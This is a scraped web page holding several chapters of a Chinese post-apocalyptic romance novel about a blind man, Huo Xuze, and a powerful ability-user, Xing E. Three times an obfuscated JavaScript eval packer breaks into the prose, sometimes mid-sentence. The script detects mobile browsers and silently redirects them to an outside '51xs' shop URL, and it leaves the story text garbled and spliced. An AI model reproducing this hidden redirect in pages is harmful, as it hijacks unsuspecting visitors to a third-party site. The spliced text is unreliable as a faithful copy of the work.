被主人掀开后的白狮,庞大的身躯并没有消失或远离霍序则,霍序则能感觉到白狮的鼻息凑在自己身边,委曲求全地跪伏贴近着他,茂盛的毛发无意识蹭在他的脸上,有一些些痒。 “受伤了。”霍序则听到自己说。 黑暗中跪在他面前的人影一动不动,身边白狮的呼吸却一瞬停了。 霍序则叹了口气,他伸出自己的右手,摊开故意在地上摩擦得血肉模糊的掌心。 他说:“你的狮子把我的手按到石头上了。” 霍序则笑了下,很是无奈:“我如果真的被感染者伤到了,你让我回话,是也想一起感染吗?” 可能是霍序则装深沉犹犹豫豫半天不回话惹恼了刑厄,霍序则说完话,刑厄什么都没回,倏地从地上站起身。 黑暗是情绪最好的掩护,刑厄站在原地半天,僵硬得像块石头,只有黑影不断剧烈起伏的胸膛暴露出一丝心绪的不平。 霍序则悻悻跟着从地上爬起来,高危感染者被刑厄制服,但他到最后也没有使用异能,必须将那人先行带回观察中心鉴定感染情况然后及时处理。 “我回去了,你小心一点。”霍序则想着不打扰人工作。 然而刑厄被霍序则气得话都不说了,却又并不同意霍序则自己回家,僵持了许久,刑厄最终还是将自己的精神体白狮留给了霍序则。 顶级异能者的精神体实体化程度很高,有真实五感、力量,甚至可以代替主人进食,一人一狮回到霍序则的独栋别墅住所,霍序则简单做了点夜宵犒劳大白狮。 两个小时后,当刑厄在凌晨十二点还差一分的时候再次来到霍序则家门外,彼时霍序则正坐在花园里的秋千上和白狮一起看星星。 刑厄的狮子体型太庞大,进不去霍序则家别墅大门,刑厄一来,花园里慵懒趴伏在霍序则腿边,正享受头顶撸毛服务的白狮一瞬消失。 霍序则有些愕然,他一直在等白狮什么时候自行消失,毕竟异能者的精神体实体化程度再高,本质上也还是异能者精神力的化身。 刑厄无论人在哪里,都能随时收回自己的精神体。 可现在,刑厄却自己来了。 不仅来了,对方还带来了药品,又一言不发给霍序则处理了手上只简单清洗过的伤口。 刑厄要离开时,霍序则给人送到门口。 “刑厄。”他叫住人。 刑厄背对着霍序则,停下脚步,但没回头。 霍序则说:“抱歉,不是故意耍你玩的。” 他回答刑厄自己受伤了的时候,跪在他面前的黑影虽然没动也没说话,但凑近自己的白狮呼吸却停了。 刚才回到别墅,白狮恹恹地也不肯吃东西,霍序则在灯光大亮的花园铺着的青石板上还发现了血迹。 是从白狮的前脚掌流出来的。 而精神体不会自己流血,只可能是主人受伤,精神体同担。 霍序则今晚第三次站在雕花铁门边跟刑厄说话。 他问了刑厄一个问题:“你就没怀疑过,我受伤了但是故意隐瞒的可能性吗?” 霍序则将掌心被蛇咬过的伤口在地上故意磨得血肉模糊辨别不清,但这种抱着侥幸心理伪装自己没有被丧尸咬伤的伎俩在末世初期实际很多见。 而且刑厄甚至没有复查他身上有无其他伤口,也没有将他强制带回观察中心隔离观察,这并不合基地律法,更不够安全保险。 刑厄垂在手侧的手除了给霍序则上药,始终保持紧握成拳的状态,也不知道是想掩盖手掌心被自己掐出来的痕迹还是压抑什么。 刑厄依旧没有回头,他说:“你住在这里接触不到别人,从明天起每天会有人把物资送到你的门口。” 说完,刑厄走了,但霍序则的花园里多出了一头威武霸气的大白狮。 …… “所以你又不想死了,改上赶着给高中同学的妹妹当全职保姆献殷勤去了?” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13223145|139399||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 梁幸在电话中嘲讽霍序则。 霍序则被包扎得严严实实的右手握着电话,左手拿着一个水杯在三楼卧室阳台上浇花,而阳台正下方的花园里,纯白的雄狮像在逡巡自己的领地般,绕着花园正不知疲倦地转着圈圈。 霍序则一心两用看着花园中的白狮,迟疑了下,无视好友话中的夹枪带棒,只回:“晚点死吧,至少等他从观察中心出来。”也看看刑厄妹妹的腿,自己到底能不能帮上忙。 一周前那晚分别后,刑厄留下了精神体算是变相“软禁”了霍序则,自己却转头主动进了观察中心进行生物观察。 “也是,人家把你供在豪华大别墅里隔离,自己替你去住观察中心,这么情深义重,要我的话别说是给他妹妹当保姆了,就是以身相许也是应该的对吧?” 自从南部基地合并进北部基地,梁幸最近可以说闲得发慌,电话里话里有话一个劲阴阳霍序则。 他们都心里明白,观察中心那种地方住的人多又杂,普通人连个单间都没条件配备,没事人住进去保不齐就有交叉感染的风险,所以刑厄这么做的用意大概率是为了保护霍序则。 梁幸要不是霍序则的好友,他甚至都不会知道北部基地的首席执行官半夜遇袭身边其实还有个人一起,因为刑厄根本没有把霍序则当时也在现场的事说出去。 而所谓白狮守在别墅外的“软禁”行为,这其中到底是限制出行,还是进一步保障安全,就谁也不得而知了。 霍序则难得一次在口舌之争上输得彻底,几乎哑口无言,关于刑厄的事,霍序则不敢多想,更不能细究。 他索性岔开了话题:“阿姨最近身体怎么样?在北部基地还习惯吗?” 梁幸“唔”了一声:“还行吧,就是整天闷在家里也没人说话可能有点孤单吧。” 霍序则回他:“你现在没以前忙了,就该多陪陪她。” 末世里还有亲人可以陪伴是一件幸之又幸的事,梁幸和他舅妈感情深厚,当年末世爆发时梁幸不顾一切第一时间就是要回去接他舅妈。 哪知刚岔开的话题,说到这里,梁幸突然又想起个事给绕了回去。 他哼笑道:“北部基地那帮基地高层根本不信任我们南部基地的人,倒是出基地那种吃力不讨好的高危任务就立马想到我们了,结果你猜怎么着?” 霍序则若有所感:“怎么?” 每日物资的配送时间到了,楼下铁门外的运送员还未靠近就被巡视领地的白狮“吼”的一声吓了个趔趄。 霍序则在家没戴丝巾围观了全程,没忍住无声勾了勾唇:“暴躁咪咪。” “结果被你家那位还在观察中心住着的高中同学的小副官积极领走截胡了呗,气死北部基地那帮偏心眼的孙子了哈哈!” 电话中,梁幸幸灾乐祸地说。 15. 同性恋人 刑厄是身体进化等级非常高的异能者,他一旦感染,其精神体会第一个显现出行为异常。 结束生物观察那天,刑厄将精神体收回了身边去做检验考察,考察合格后也宣告了霍序则的“软禁”生活同步结束。 刑厄从观察中心直接回了家,刑运这些天一直提心吊胆,她只知道哥哥夜里在基地遇袭,可刑厄不仅精神体异能霸道,身体强化等级在基地更是最顶尖的。 按道理如果是一对一的埋伏,即使对方也是异能者,哥哥也不该出什么问题,然而刑厄当晚却连家都没回,直接进了观察中心。 刑厄一回家,刑运坐在轮椅上拉着哥哥满身检查。 “哥,你哪受伤了?伤在了哪里?现在养好了吗?” 刑厄在观察中心住了将近半个月,期间还处理过观察中心其他高危确诊感染者,身上衣服实在不干净。 于是刑厄躲开了妹妹的手,径直绕进浴室:“没受伤,我先洗个澡,你去帮我拿衣服。” 其实刑厄一住进观察中心就给妹妹发过信息,也说过没有受伤,但刑运不信,没受伤哥哥怎么会住进观察中心呢! 等刑运将哥哥换洗的衣物拿到浴室门口,浴室内已经响起水声,刑运敲了敲门,刑厄在浴室内道:“放门外吧,你进房间等我。” 刑厄兄妹住的房子是三室两卫,刑运住了自带卫生间的主卧,刑厄从来不与妹妹共用卫生间,他平时都在客厅的卫浴洗漱。 等刑厄从卫生间洗澡出来,刑运没有在房间,而是和刘磊承两个人正在厨房处理食材准备做饭。 在刑厄住在观察中心的这段时间,都是刑厄的执行副官刘磊承在每天送物资上门,以及负责照应刑运。 这本来就是当初刑厄招副官的最主要目的,在刑厄执行任务或不方便回家期间,照应他行动不便的妹妹刑运。 然而,这个任务不仅现在可能要旁落了,而且为了任务不着痕迹地落出去,刑厄还让刘磊承替他领了个外出基地的任务做掩护。 刑厄进厨房帮忙,刑运回头说:“哥你刚洗完澡,在外面休息等着吃吧。” 刑厄没同意,接了刑运手中的菜刀:“我来。” 刘磊承正在帮着洗菜,主动提醒:“刑哥,任务出发时间是明天早上六点半,研究院的图谱参照图我也已经发您手环邮箱了。” 刑厄利落地切完菜,点了下头:“我收到了。” 刑运被哥哥抢了菜刀后并没有出厨房,听后担忧问:“哥,你才刚从观察中心出来就要出基地做任务?” 刑厄那晚在基地内遇袭后,刘磊承每天往上级家送物资也会常常陪刑运聊会儿天。 遇袭这个事件不是机密,调查结果出来后刘磊承也跟刑运提过一点。 大致就是那天晚上埋伏刑厄的异能者与当天中午确认感染被刑厄处决的异能者原本就是一对同性恋人。 丧尸横行最厉害的时候,当时东南西北四大幸存者基地建设还不完备,流离失所到处逃亡的幸存者随处可见,因为先天体能力量的差异,男性在逃亡中优势明显。 而这个时候,为了活下去,男人与男人之间结伴的情况越来越多,最开始是为了生存,后来也许是一起经历的生死多了,感情发生了飞跃变了质,同性凑成一对的情况也开始变得寻常。 袭击刑厄的那名异能者和已经执行处决的异能者是同性伴侣也是任务搭档,一个半月前,他们接下了护送西部幸存者基地的两名科学研究员到北部基地来的任务。 两名异能者是老搭档了,能力好,经验足,配合默契,任务路途上一切都很顺利,然而当那两名研究员进入北部基地观察中心,其中一名研究员在三天后却出现了言语失能的情况。 紧接着,另一名研究员在一周后也未能幸免,出现同样状况随即确诊。 刑厄高大的身影站在灶台前稳稳颠锅的画面,在这间逼仄而充满油烟气的厨房却显现出一种又违和又莫名和谐的安定温馨之感。 仿佛外面再是风雨,只要有他在,这个家就永远不受飘摇。 刑厄知道妹妹是担心任务危险,边往锅中鲜嫩爽脆的四季豆上依次添撒调料,边淡声解释:“他们的任务目标在西部基地就已经被病毒感染了,我的任务和他们不一样。” 刑厄这次的任务实际是寻找研究院需要的样本生物和一些草本,他向来一个人行动的多,这次也不例外。 这种单人任务对于其他人外出到危机四伏的基地外当然危险系数极高,但刑厄的异能实力摆在那里,这类任务对他反而不算困难。 “刑哥,郑哥也已经执行处决了吗?”这时,刘磊承关了水,犹豫了一下忽然问起。 刑厄“嗯”了一声,郑燃就是半月前伏击刑厄的异能者。 当时第一名西部基地来的科学研究员出现异常时,本来护送他们的两个异能者就应该被全部控制带回观察中心。 但那时候,不知是提前收到风声还是怎么,郑燃那时在搭档异能者的掩护下逃出了基地。 谁也没想到,郑燃还会回来,在那名异能者被执行处决的当天。 刑厄想到当时和对方交手时,郑燃的意图…… 他那天是故意的。 郑燃根本就知道自己不是刑厄的对手,他当时会迎上去交手而不是逃走,实则只为了拖住刑厄。 他一开始的目标就是霍序则。 可为什么呢?是郑燃当时隐匿在暗处听出了什么? 郑燃在被执行处决前,意识已经开始混乱,有些控制不了自己的行为言语,但他对刑厄笑,笑得畅快而大声。 “你也尝到我的痛苦了吗?刑厄你不得好死,你活该你活该……” 他是以为自己感染成功了霍序则吗? 还有霍序则掌心的伤好像还没拆绷带,不知道怎么样了?刑厄罕见地走了一秒神。 刘磊承见老大肯定了处决结果,不由唏嘘不已。 虽然末世总是在死人,但一下折损两名异能者,北部基地大楼这些天都显得愁云惨淡阴云密布了。 “唉,还是我们北部基地的异能者有情有义!”刘磊承忽然道,“连基佬都比南部基地的情深义重!不像他们南部基地的那个什么梁幸,霍哥那么好……” “刑运,你先出去。”刑厄蓦地打断刘磊承,转头对妹妹说。 是让刑运回避的意思。 刑运奇怪地看了哥哥一眼,刘副官不是不知轻重不懂规矩的新人,他跟在哥哥身边这么久,既然敢刚才那样起话头,应该不是基地机密才对。 但刑运还是乖乖听哥哥的话推着轮椅离开了厨房。 “霍序则怎么了?”刑运走后,刑厄直接问。 刘磊承在老大突然打断自己的时候还以为自己说错了话,正小 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13223146|139399||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 心翼翼闭紧嘴,谁知刑哥把妹妹支走,又重新回到这个话题。 “额,不是,霍哥没怎么的。”刘磊承忙摆手,解释道,“就是那个梁幸……” 刑厄将火关小,看着刘磊承。 刘磊承挠了挠头:“其实就是我上次不是去给刑哥领任务吗?去趟九楼卫生间正好碰到了几个南部基地的人在里面聊天。” 刘磊承想起当时,他在洗手台上看到了一叠相亲报名表,那几个人应该是去申报排队相亲的。 末世之初折损的老人、孩子最多,其次则是女性群体。 但人类繁衍离不开女性,东南西北四大基地在逐步稳定后,都不约而同将繁衍生育政策的鼓励制定放在了基地建设管理的首位,女□□利生活条件也普遍比男性更好。 而北部基地的这一相关政策中,基地未婚适龄男性排队录入信息相亲就是其中重要一项。 女性挑选男性,男性孔雀开屏。 南部基地那几个人在手环上填写过信息申请后,还需要到北部基地大楼婚配办进行核查复审体检。 那几个人当时在卫生间提到了一个名字,引起了刘磊承的注意。“梁幸”不就是上次刑哥在观察中心办公室外,让他打电话联系来接霍哥的人吗! 对方那句“关我屁事”,刘磊承可是记忆深刻。 “那几个人在说,似乎这次报名相亲,那个梁幸也申请了。” 刘磊承想想就觉得生气:“那个梁幸好像是他们南部基地以前很厉害的异能者,难怪刑哥你让我叫那个梁幸去接霍哥,原来他和霍哥以前在南部基地是一对!” 刑厄在听到刘磊承说霍序则与梁幸是“一对”时,握着锅铲的手猛然一紧,锅里的四季豆都不甚滑出了锅边几根。 刘磊承完全没注意到身旁人的这点异样,继续跟老大分享自己听到的八卦消息。 “因为异能者相亲肯定排在前面,有优先权,那几个人就说梁幸一个基佬这不是祸害人吗?” 当时那几个人道:“真搞笑,梁幸对女人硬的起来吗还来抢相亲名额,那个姓霍的满足不了他了?不是什么基地地草吗,异能都没有,男的女的倒是都想爬他的床。” 有人插嘴:“梁幸应该不会抛弃霍序则吧,以前在南部基地五年都没腻,后来更是金屋藏娇,宝贝疙瘩外人接触一下都不准,这么强的占有欲说变心就变心啊?” 另一人道:“所以说男人发达就会变坏,放谁身上都逃不过!别看我条件没多大优势,但我至少不会背着老婆在外养小白脸男人!” “也不知道那么人高马大的男人到底有什么特别滋味?要我说,长得再带劲老子上床看到那比我还高一截的头顶也萎了……” 刘磊承一五一十还原出他在厕所隔间里扒墙角听到的聊天细节,最后义愤填膺地总结陈词:“什么叫背着老婆养小白脸!就算按先来后到也是霍哥是老婆,那个梁幸想在外面养女人才对!” 小副官对刑哥那位温柔英俊的老同学印象好得要命。 “而且霍哥虽然眼睛看不见,但长得又高又帅,性格好又体贴,做饭还那么好吃,这么贤惠的老婆是个男的又怎么了!这梁幸居然吃着碗里的还看着锅里的!” 话音刚落,厨房磨砂玻璃门被从外敲响。 刑厄打开门,刑运面上一抹不易察觉的薄红,小声说:“哥,外面有位霍先生来找你。” 16. 脆皮烤鸭 站在门外的霍序则若无其事收回自己一开门就蹿进人家家里的精神丝。 误会梁幸和自己是一对了吗? 要不要澄清? 刑厄放下锅铲从厨房疾步走出去,刘磊承本来也下意识想跟,走到厨房门口鬼使神差往后看了眼。 愣了下,又折返回去。 刘磊承将灶台的燃气关灭,他一时有些魔幻,刑哥不会生病了吧,他这么严谨的人刚才居然忘记关火就出厨房了。 当刘磊承从厨房出来,见门口玄关外霍序则白色的T恤外穿了件半敞开的黑色休闲衬衣,衬衣的一边肩膀处面料有些刺绣暗纹隐隐浮现,打破了黑衣黑裤的单调刻板又并不复杂的穿搭,可又特别少年气。 “霍哥一个人来的?”刘磊承看着玄关几个人都站着不动,奇怪地往门外霍序则身后望了望,“怎么不进来呀?” 霍序则刚才见到刑运来开门时才摘了面上的口罩,所以他的脸上干干净净,然而头发上、衣服上,以及所站的玄关门外却积累了一小滩水渍。 他笑了笑,不好意思道:“身上有点湿,怕弄脏你家,要不先借我一条毛巾……” 霍序则的话是对刑厄说的,而刑厄像是没耐心听他说完,眉目蹙紧打断了他,语气甚至称得上有些凶地问。 “没有打伞?” 刑厄家客厅窗户没有拉窗帘,大白天的屋子里却开着灯,只因窗外正电闪雷鸣,乌云遮蔽下的天空正狂风暴雨。 霍序则摇了摇头,还是笑,笑得还挺无辜,坦然说:“如果打了伞,我的盲杖不就用不了了?” 霍序则今日出门,眼睛上依旧蒙着白丝巾,其实在外走了没多久遇上大雨的时候,他的丝巾都被猛烈的暴雨打落了。 但在刑厄的妹妹来开门前,霍序则又将湿了的丝巾绑了回去。 刑厄的妹妹刑运从厨房把哥哥叫出来后,一直坐在轮椅上跟在哥哥身后。 没有人注意到她的目光始终牢牢钉在门外高大俊朗的陌生男人脸上。 是一种意外、惊喜,又格外复杂的目光。 这个人姓霍,哥哥的副官也认识他,刘磊承还叫他“霍哥”,他就是哥哥认识的那个南部基地来的人。 原来……是他。 刑运慢慢低垂下纤长的眼睫,听到哥哥说“去洗澡”,随后不由分说将那人拽进屋里,连鞋都没来得及让人换。 霍序则“诶”了一声:“我的东西。” 霍序则进门前,一手握着雨伞充当的盲杖,另一只手里还拎着一个大塑料袋。 刑厄一言不发接过霍序则右手的塑料袋扔到一旁的刘磊承手上,直接将霍序则带至客厅卫浴间。 “啪”的一声,刑厄扔了双拖鞋到霍序则脚边,转身便出了卫生间。 等到刑厄再次返回,霍序则已经换好了拖鞋,刑厄又毫不嫌弃地弯腰把霍序则穿来的运动鞋捡起来拿在手上,另一只手则将一叠干净衣物放到淋浴旁的衣架上。 “洗完澡先穿我的衣服。”刑厄扔下一句话就又打算走。 霍序则反应敏捷拉住人:“等等。” 刑厄停住脚步。 霍序则直白问:“你生气了?为什么?” “没有。”刑厄闻言僵了下,硬邦邦回。 “你有。”霍序则肯定道,“上次我跟你道歉你没接受,还在怪我?” 半个月前,霍序则在刑厄问他有没有受伤的时候犹豫不决,他后来跟刑厄道歉,刑厄没有回应他。 而在刑厄住进观察中心把将精神体留在霍序则花园的这段时间,白狮体积太大不能从门口进入别墅,但其实只要主人愿意,刑厄的精神体明明可以在任何地方出现。 然而半个月里无论刮风下雨,白狮始终只留在霍序则的花园中。 “没有。”刑厄从见到霍序则一身湿哒哒出现在门外眉心就没松开过,此刻褶痕越发深邃,却依旧生硬地否认。 霍序则并不买账,只说:“欺负我是个瞎子看不见表情?” “……” 霍序则太懂得如何拿捏刑厄,用“瞎”来要挟示弱,刑厄别开脸,喉结艰难滚动:“那晚是我的过失。” 刑厄从来不是生霍序则的气,不回应霍序则那句“不是故意耍他玩”,是因为霍序则根本不需要跟自己道歉,他在意的一直是自己反应太慢,没有第一时间察觉郑燃的意图。 浴室里,霍序则不着痕迹松开刑厄的手臂,忍住一瞬间想要自己手动展开面前人眉目的冲动,十分无奈:“那现在呢?我淋雨难道也是你的过失?” 霍序则发誓,他不是故意去碰刑厄,偷听对方的心声。 可手已经拉住了,他立即就明白刑厄刚才反应异常的原因,居然又是因为淋雨。 霍序则在心里叹气,他和刑厄在北部基地重逢以来,加上今天一共就遇过三场雨。 第一场雨他因不解试探对方,然后坐上了人家的精神体。第二场雨他不过把手伸出屋檐,结果意外听到了人的心声。 而还在下的这场,他想,刑厄是不是有点太在乎,过于保护……甚至是呵护他了。 “我来这里是因为知道了你明天就要出发离开基地,你让我照应你妹妹,我总得趁你还在基地的时候先和你妹妹见一面。” 霍序则耐心解释:“我出门前没有下雨,半点征兆都没有,但走到半路下雨了,这完全是个意外。” 绯闻问题霍序则暂时还没想好怎么处理,但现在他觉得自己有必要先澄清另一件事。 霍序则道:“我虽然瞎了,但也不是什么易碎品。” “刑厄。”他很郑重地唤面前人的名字。 不要皱眉,他在心里说。 霍序则收回身侧的指尖动了下,他忍了忍终究没忍住,当自己的中指与无名指真的抚上对方紧绷的眉心,霍序则一面鄙夷自己,一面一不做二不休索性甩锅给他总是不听话的精神丝影响了他的自制力。 破罐子摔了的霍大少爷也懒得再捡起来拼回去,他的指腹从刑厄眉心那道深刻的长疤处温柔拂过,最后稍稍用力展开那处眉心两侧的不平。 认真告诉对方:“只是一场雨而已,除了要多洗两件衣服,我不会有任何损失。” 身体强化等级极高的刑厄在霍序则手伸到自己面前时,整个人却如同一座雕像没能做出任何反应,直到那双冷感修长又带着另一个人真切体温的手指触上他眉心的疤。 刑厄双拳陡然握紧,身体剧烈抖动了下,头部后仰猛地退开两步一下子撞到浴室门框上,后脑勺与门框撞击发出一声巨大响动。 霍序则听着都觉得痛,下意识跟上前,又想伸手过去查看:“你没事……” “你,你先洗澡。”然而不给霍序则关心的机会,刑厄草草留下句话,直接扭头就走。 就像是……落荒而逃。 被留在浴室中霍序则愣了愣,手还悬在半空,这次慢半拍地当真叹了口气。 他随手扯下眼睛上的白丝,看不清情绪的雾灰色眸底很慢很慢地泛出一点零星笑意:“很特别,像二郎神转世一样漂亮。” 霍序则洗完澡走出浴室,没好意思刻意再蒙上濡湿的丝巾,所以他站在厨房门口,带着奇异花纹的眼睛眨巴眨巴认真装瞎。 “有什么我能帮忙的吗?” 然而就如同客厅先前被自己穿着鞋踩进来的水渍已经被清理干净了一样,独属于浴室逼仄空间内那一瞬的暧昧不明也随着水流消散无踪。 刑厄头也没回,“冷酷无情”地只让霍序则在客厅等待。 被赶出厨房的霍序则老实巴交坐到刑厄家客厅沙发上,身边是坐在轮椅上的刑厄的妹妹。 “你好。”霍序则主动自我介绍,“我是你哥哥的高中同学。” 在门外通过可视门铃与这位刑厄的妹妹沟通时,霍序则就已经自报过自己的姓名,所以他现在接着介绍关系。 刑运小声回应:“您好,我叫刑运。” 或许是见霍序则有些长了的头发还湿着,刑运咬了下唇,隔了一会儿才又小声问:“你要不要吹头发?” 霍序则精神丝此刻正绕在小姑娘身上检查她的脊椎神经受损情况,刑运声音轻得他一时没反应过来,他“嗯”了一声抬头,后知后觉才笑了下,说:“好啊。” 吹风机收在刑运的卧室,霍序则很有分寸没有跟进刑运的房间而是站在门外等待,刑运拿着吹风出来,又将霍序则引到有插线板的地方。 霍序则打开吹风,吹风机呼呼的机械噪音中,他一边随意地拨了拨头顶的发丝,一边继续用精神丝检查没有推 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13223147|139399||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 着轮椅远离自己的刑运腿部神经问题。 而无论是精神丝有意无意顺带反馈出的些对方的情绪波动,还是小姑娘一眨不眨始终悄悄注视自己的复杂目光,都反映出刑运内心挺不平静的。 怎么了?小姑娘不太喜欢他吗? 霍序则的精神丝检查完毕,他坦然自若地抬起眼,小姑娘的目光“唰”的一下撇开了。 霍序则心下更觉得刑厄妹妹对自己的态度不自然,但他没有深入探究,他开口,目光却也不贸贸然盯着人家小姑娘,而是像是不小心看错了方向,望着厨房位置。 “你哥哥有没有跟你提起过我?我以后可能会经常来看你。” 厨房中,刑厄看得出穿了有些年头了的居家服外面,一本正经系了条与他的高冷酷哥形象十分不符的烟火气围裙。 不过围裙不论从大小还是颜色款式都看得出是男款,看起来平时在家竟是刑厄做饭居多? 刑厄已经跟刑运说过自己不在的时候可能会有个眼盲的大哥哥来家里一起吃饭的事,刑厄没说霍序则是来“做保姆”的,所以刑运也不知道霍序则指的“经常来”的意思和哥哥说的并不一样。 刑运只是点了点头,回霍序则话的声音依旧不大:“我知道。” 霍序则有种近乎直觉的预感,小姑娘平时应该不会像现在在他面前表现得这般“内向”,他觉得刑运此刻并不在状态,霍序则估摸着小姑娘大概是怕生? 所以霍序则想了想,没有再强行跟刑厄的妹妹搭讪以免惹人厌烦。 刑厄做完饭,小副官刘磊承负责端菜、摆碗筷。 霍序则因为要尽心竭力扮演好一个睁眼瞎,也就没有冒然凑热闹帮忙添乱。 在菜都端上桌后,霍序则这才叫住忙碌的小副官,他问:“小刘,我带过来的袋子呢?” 刘磊承一拍脑袋,赶紧去拿明明就放在客厅茶几上十分显眼的袋子。 霍序则接过后,将袋子打开,从里面抱出了一个电饭锅。 刘磊承愣了下:“霍哥,你这怎么还自己带了个锅过来?刑哥家里都有的呀!” 霍序则笑着摇了摇头,又打开电饭锅盖,在小副官眼睛逐步瞪直,满眼惊愕又惊喜的目光中,霍序则说:“在家没事做了点吃的,但没有大小合适的盒子来装,所以只能这样带过来。” 他的怀中电饭锅里,是一整只焦香扑鼻、满身流油的脆皮烤鸭,也好在霍序则出门前拿了个电饭锅装,不然路上早淋湿了。 刘磊承果然张大嘴巴:“霍哥,你还会做烤鸭啊!做这个很麻烦吧?” 末世里物资短缺,食物不再像末世前一样追求色香味俱全,大多只求简单、省时、省力,像烤鸭这种制作工序繁复,要求的食材、配料配备都十分麻烦的大菜,刘磊承感觉自己只有上辈子才见过了。 霍序则谦虚道:“还行,别墅厨房里有配烤箱,我在家反正也没事干。” 刘磊承连忙积极地去厨房找盘子装烤鸭,而霍序则则将提前准备好跟烤鸭配套吃的饼皮、黄瓜丝、大葱葱白丝和甜面酱等依次拿出来摆上桌。 刑厄此时恰好走到餐桌边,霍序则自然而然问:“刑厄,麻烦拿一把刀给我好吗?” 烤鸭整只装在电饭锅里现在还是热的,霍序则在家没有提前切片,想着到了刑厄这里再动刀。 刑厄沉默地将刀具取来,却没有交给霍序则。 知道自己是个“瞎子”,霍序则没争,只提醒说:“片薄一点,卷着吃。” 而刀法娴熟的刑厄也不需要霍序则多嘱咐叮咛,刘磊承在一旁看得直吞口水。 开餐后,刘磊承十分上道地首先替眼睛不方便的霍序则包足了料卷了个面皮烤鸭,才叫了声“霍哥”想递过去,刑厄抢先说:“他不吃。” 刘磊承“诶”了一声,伸手递东西的动作僵住。 刑厄直接拿起霍序则面前的饭碗,用还没使用过的筷子在他的饭上添满了菜。 好几样都是霍序则到来以后,刑厄临时另外做的。 只是…… 刘磊承看着自己老大一筷子一筷子往霍哥饭碗里夹菜添菜,没忍住奇怪道:“不给霍哥夹点荤吗?霍哥太瘦了。” 刑厄眼都没抬,将饭碗放回霍序则桌前。 “他不吃荤。” 17. 陪同任务 “他不吃荤。” 霍序则无比“乖巧”地坐在座位上,没有否认刑厄的话。 “额……” 简单的四个字,刘磊承却消化了好一会儿老大话里意思,这才想起:“啊!难怪刑哥让我通知物资处往霍哥那儿只送蔬菜水果呢……” “不过——”刘磊承话说一半,又发现新的问题,“物资处往霍哥那儿送鸭子了?不对啊,我明明通知到位了的!” 霍序则闻言轻咳一声,适时解释:“没,通知到位了,鸭子是我让朋友帮我特意弄来的,我想女孩子可能会喜欢吃点不一样的?” “本来还想早点来再做点别的,也让妹妹考验考验我的手艺,不过好像还是来迟了。”他又无奈地耸了耸肩,左侧颊边的酒窝浮现出来,笑了下说。 刑运本来坐在了离霍序则最远的位置,安静地看着哥哥替人布菜添汤,没说一句话。 忽然间听到霍序则提到自己,她这才将目光小心翼翼移到餐桌中央霍序则带来的喷香烤鸭上,还是没看霍序则,摇了摇头轻声否认:“不用考验,我吃什么的都一样的。” 刑运今天在霍序则到来后表现得有些心不在焉,刑厄注意到了妹妹的异状在开饭前推着刑运回房问过情况,刑运只说因为还不太熟悉。 而刑厄也顺便重新跟刑运解释了,霍序则之前找工作,而他现在会出现在这里的原因。 嘴里鼓鼓囊囊正塞着烤鸭卷的刘磊承一听霍序则说“朋友”,立马联想到一个人。 年轻人心直口快,刘磊承刚费力咽下嘴里的食物,便脱口而出问:“霍哥的朋友是姓梁吗?” 霍序则也不隐瞒,点头:“是,叫梁幸。” 刘磊承心道,果然! 这烤鸭对于眼睛不便的人来说处理起来多难啊,说不定前期准备工作那个想坐享齐人之福的梁幸还趁着机会给霍哥大献殷勤呢! 刘磊承面色稍稍古怪,犹豫了下:“霍哥,那个梁幸最近其实在相……” “吃饭,菜冷了。”这时,刑厄突然出声,刘磊承的话半路夭折,终于还是没能出口。 餐桌前的霍序则雾灰的眼睛垂下,顿了顿,也没有选择继续追问这个未完的话题。 午饭过后,刘磊承抢着洗碗,刑运回房睡午觉,只剩霍序则和刑厄留在了客厅里让沉默蔓延。 霍序则刚才吃饭时,他吃一筷子菜,刑厄就会用公筷立马给他续上新的。 不愧是北部基地首席执行官,刑厄观察力、判断力惊人。 一顿饭下来,霍序则口味偏好被刑厄摸了个底朝天,霍序则喜欢咸不吃酸,刑厄中途甚至去厨房拿过盐罐子往汤里二次加工,而放了醋的菜,在霍序则吃过一口后,后续刑厄也再没往他饭碗里添过。 体贴周到、只做不说,看着整顿饭都在为他服务,除了吃两口他带来的烤鸭,几乎是扒着光饭吃完午餐的刑厄,霍序则心中下了个决定。 他起了个话头:“刑厄,刚才小刘副官说梁幸最近怎么了?” 霍序则计划得很好,他问梁幸近况,刑厄告诉他好友相亲的事,然后他就可以顺势解释他们之间的关系。 然而霍序则计划得再好,面前的刑厄却根本不配合。 刑厄口风太紧,霍序则三番两次旁敲侧击愣是没从刑厄口中撬出丝毫可以顺其自然澄清他和梁幸纯洁兄弟情的突破点。 下午两点,窗外放晴。 夏天的天气总是如此阴晴不定,霍序则赖在人家家里几 